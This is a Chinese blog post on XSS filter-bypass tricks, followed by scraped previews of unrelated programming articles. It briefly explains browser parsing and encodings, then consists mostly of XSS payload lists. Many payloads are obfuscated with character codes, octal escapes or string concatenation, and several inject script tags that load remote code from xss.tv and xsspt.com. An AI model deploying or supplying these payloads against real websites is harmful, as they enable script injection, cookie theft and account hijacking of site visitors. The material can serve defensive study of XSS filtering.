【奇淫巧技】XSS绕过技巧

  声明一下:各位大佬不要问我htmlspecialchars怎么绕过,这个函数本身就是用来防御xss攻击的,确实在某些情况下由于开发者的疏忽导致这个函数不起作用(不算绕过),这个有兴趣的可以自行百度,这里不做解释。

  1、首先是弹窗函数:

alert(1)
prompt(1)
confirm(1)eval(

  2、然后是字符的编码和浏览器的解析机制:

    要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

    首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。

    三个解析过程所对应的字符编码分别为:HTML解析 => HTML实体编码 、JS解析 => Unicode编码 、URL解析 =>URL编码。

  3、下面我们用实际例子来解释一下以上所说的浏览器解析过程和字符编码是怎么回事,以及今天的重点---XSS绕过。

....暂定

<a href=javascript:alert`1`>click
<button ‘ onclick=alert(1)//>
<button onfocus=alert`122`>
<object data=javascript:alert`1`>
<body/onfocus=alert`9989`>
<input/onfocus=alert`1`>
<svg><script xlink:href=data:,alert(1) />
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg/onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus!
<i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可编辑
<x oncontextmenu=alert(1)>right click this!
<c oncontextmenu=alert(1)>鼠标右键点击
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<ScRipT 1>prompt(1)</ScRipT 123
<input/onfocus=ev\u0061l(\u0061lert(1))>
<input/onfocus=\u0061lert(1)>
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<details ontoggle=alert(1)>
<iframe/src=‘data:text/html,<svg onload=alert(1)>‘>

<div onscroll=alert`1`>

利用代码:

<img/src=1 onmouseover=s=createElement(‘\163\143\162\151\160\164‘);body.appendChild(s);s.src="//xss.tv">

一下是一位大佬的文章,这里直接引用了,有空再整理。

https://bbs.ichunqiu.com/thread-31886-1-1.html
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload

当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘+e+‘nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘-e-‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘*e*‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">
<svg/onload="[1].find(function(){with(`docom‘/e/‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘%e%‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘^e^‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘>e>‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘<e<‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<script type="text/javascript">
  var a = ‘‘>=alert``<=‘‘;
  var a = ‘‘+alert``+‘‘;
</script>

<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士

就是下面这些连接符号

输出在script内字符串位置的情况
如果允许闭合字符串,直接闭合并写入javascript即可,如:
http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘|alert(1)|‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘+alert(1)+‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘-alert(1)-‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘*alert(1)*‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘/alert(1)/‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘%alert(1)%‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘^alert(1)^‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>alert(1)>‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘<alert(1)<‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>=alert(1)>=‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘<=alert(1)<=‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘==alert(1)==‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘===alert(1)===‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘!=alert(1)!=‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘!==alert(1)!==‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘%26alert(1)%26‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘&alert(1)&‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘|alert(1)|‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘||alert(1)||‘
http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>=alert(1)<=‘

<svg/onload="[1].find(function(){with(`docom‘|e|‘nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

/字符/.1+/字符/.1
字符加上字符
//.1 + //.1  这些只是连接字符的方式而已 ,总结起来就是 document而已

<svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/ 换成 \ 也可以

<svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以

<svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成=号也可以

<svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以

<svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成^号也可以

<svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成|号也可以

<svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成&号也可以
<svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成%26也行

<svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要引号也行

Body加上括号也行
<svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement(‘script‘))).src=‘http://xss.tv/XA‘})>

<body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> 

<svg/onload=[1].find(function(){with(‘docu‘===‘ment‘);body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

原文地址:https://www.cnblogs.com/fox-yu/p/8916497.html

时间: 2024-10-11 06:41:13

【奇淫巧技】XSS绕过技巧的相关文章

[asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?

在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不了.还有一些怎么传送一个复杂的对象或者Action怎么接收一个复杂的对象等等这些问题.或者有些人遇到复杂的对象或者数组直接就传送个json字符串,然后在Action中把json字符串转成model对象,当然这也是一种做法,但也许不是最优的做法. 一.需求 按照如图的数据格式,传入到Action,用一

【C#冷知识系列】(一)那些你知道或者不知道的奇淫巧技

引子 正如我在个人介绍中所写,我是一个仍然坚持.NET的头铁高级软件工程师,研究C#,.NET已经六年多,一直坚持认为自己的能力不足以教授别人,所以一直没有想法写博客.工作几年,内容涵盖了.NET框架下的各种软件的开发,WPF,WinForm,WebForm,ASP.NET,MVC5,开发的软件几乎涵盖了.NET家族的各个成员.让我下定决心写一系列C#高级开发文章的原因并不是因为某天早上起床突如其来的兴致勃勃的决定要将自己这些年积累的经验分享给大家,而是是因为公司前端的一句"快脱坑吧,你们做WP

[javascript 实践篇]——那些你不知道的“奇淫巧技”

1. 空(null, undefined)验证 刚开始,我是比较蠢的验证(我还真是这样子验证的) if (variable1 !== null || variable1 !== undefined || variable1 !== '') { let variable2 = variable1; } 大哥教会了我这样子验证,你会惊叹一下的 let variable2 = variable1 || ''; 如果你不信,在谷歌浏览器开发者面板的控制台下试试! //值为null的例子 let vari

源码解析中看到的奇淫巧技

源码解析中看到的奇淫巧技 一. 数组重置 let arr = [123,123] arr.length // 2 arr.length = 0 arr // [] 当我们给数组的length 属性设置成 0 .那么数组就会被重置为空. (很神奇有木有 二. 数据类型判断 1. 判断是否为 undefined let isUndef = function(v) { return v === undefined || v === null } 2. 判断是否 不为空 let isDef = func

[asp.net mvc 奇淫巧技] 06 - 也许你的项目同一个用户的请求都是同步的

一.感慨 很久前看到一篇博客中有句话大致的意思是:“asp.net 程序性能低下的主要原因是开发人员技术参差不齐”,当时看到这句话不以为然,然而时间过的越久接触的.net 开发人员越多就越认同这句话:特别最近发现非常一个成熟的项目中有些问题非常非常影响性能,最终影响的是用户体验,借此给大家分享一下关于asp.net中一个小小的点,但对项目有很大的性能提升:以前觉得自己接触的项目少小,然后接触的项目越多,越大就会越发现,同样的问题依旧存在: 二.先从最简单的asp.net mvc例子说起 1.Co

web.config的奇淫巧技

<connectionStrings configSource="db.config"/> 外部文件db.config: <connectionStrings> <add name="DefaultConnection" connectionString="Data Source=(LocalDb)\v11.0;Initial Catalog=aspnet-WebApplication1-20140304225906;Inte

奇淫巧技之程序启动后在进程列表中隐藏密码等关键信息2

在上一篇总结中,在进程列表中隐藏密码是通过在main函数中做处理来隐藏的. 如下: 1 int _main(int argc, char* argv[], char** envp) { 2 3 省略中间一些代码内容 4 5 // hide password from ps output 6 7 for (int i = 0; i < (argc - 1); ++i) { 8 9 if (!strcmp(argv[i], "-p") || !strcmp(argv[i], &quo

[asp.net mvc 奇淫巧技] 02 - 巧用Razor引擎在Action内生成Html代码

在web开发中经常会遇到在内部代码中获取Html,这些Html是需要和数据进行一起渲染.并不是直接把Html代码返回给客户端.这样的做法有很多应用场景,例如分页.Ajax一次性获取几段Html片段.生成邮件发送模板.生成Html静态页面等等.比较简单的或者容易想到的做法就是直接拼接Html,当然这肯定不是最合适的做法. 应用场景 1.在分页中,有一种做法是用ajax获取table的html代码和一些分页信息的Json var json = { "table": "<ta

[asp.net mvc 奇淫巧技] 03 - 枚举特性扩展解决枚举命名问题和支持HtmlHelper

一.需求 我们在开发中经常会遇到一些枚举,而且这些枚举类型可能会在表单中的下拉中,或者单选按钮中会用到等. 这样用是没问题的,但是用过的人都知道一个问题,就是枚举的命名问题,当然有很多人枚举直接中文命名,我是不推荐这种命名规则,因为实在不够友好. 那有没有可以不用中文命名,而且可以显示中文的方法呢.答案是肯定的. 二.特性解决枚举命名问题 那就是用特性解决命名问题,这样的话既可以枚举用英文命名,显示又可以是中文的,岂不两全其美. /// <summary> /// 性别 /// </su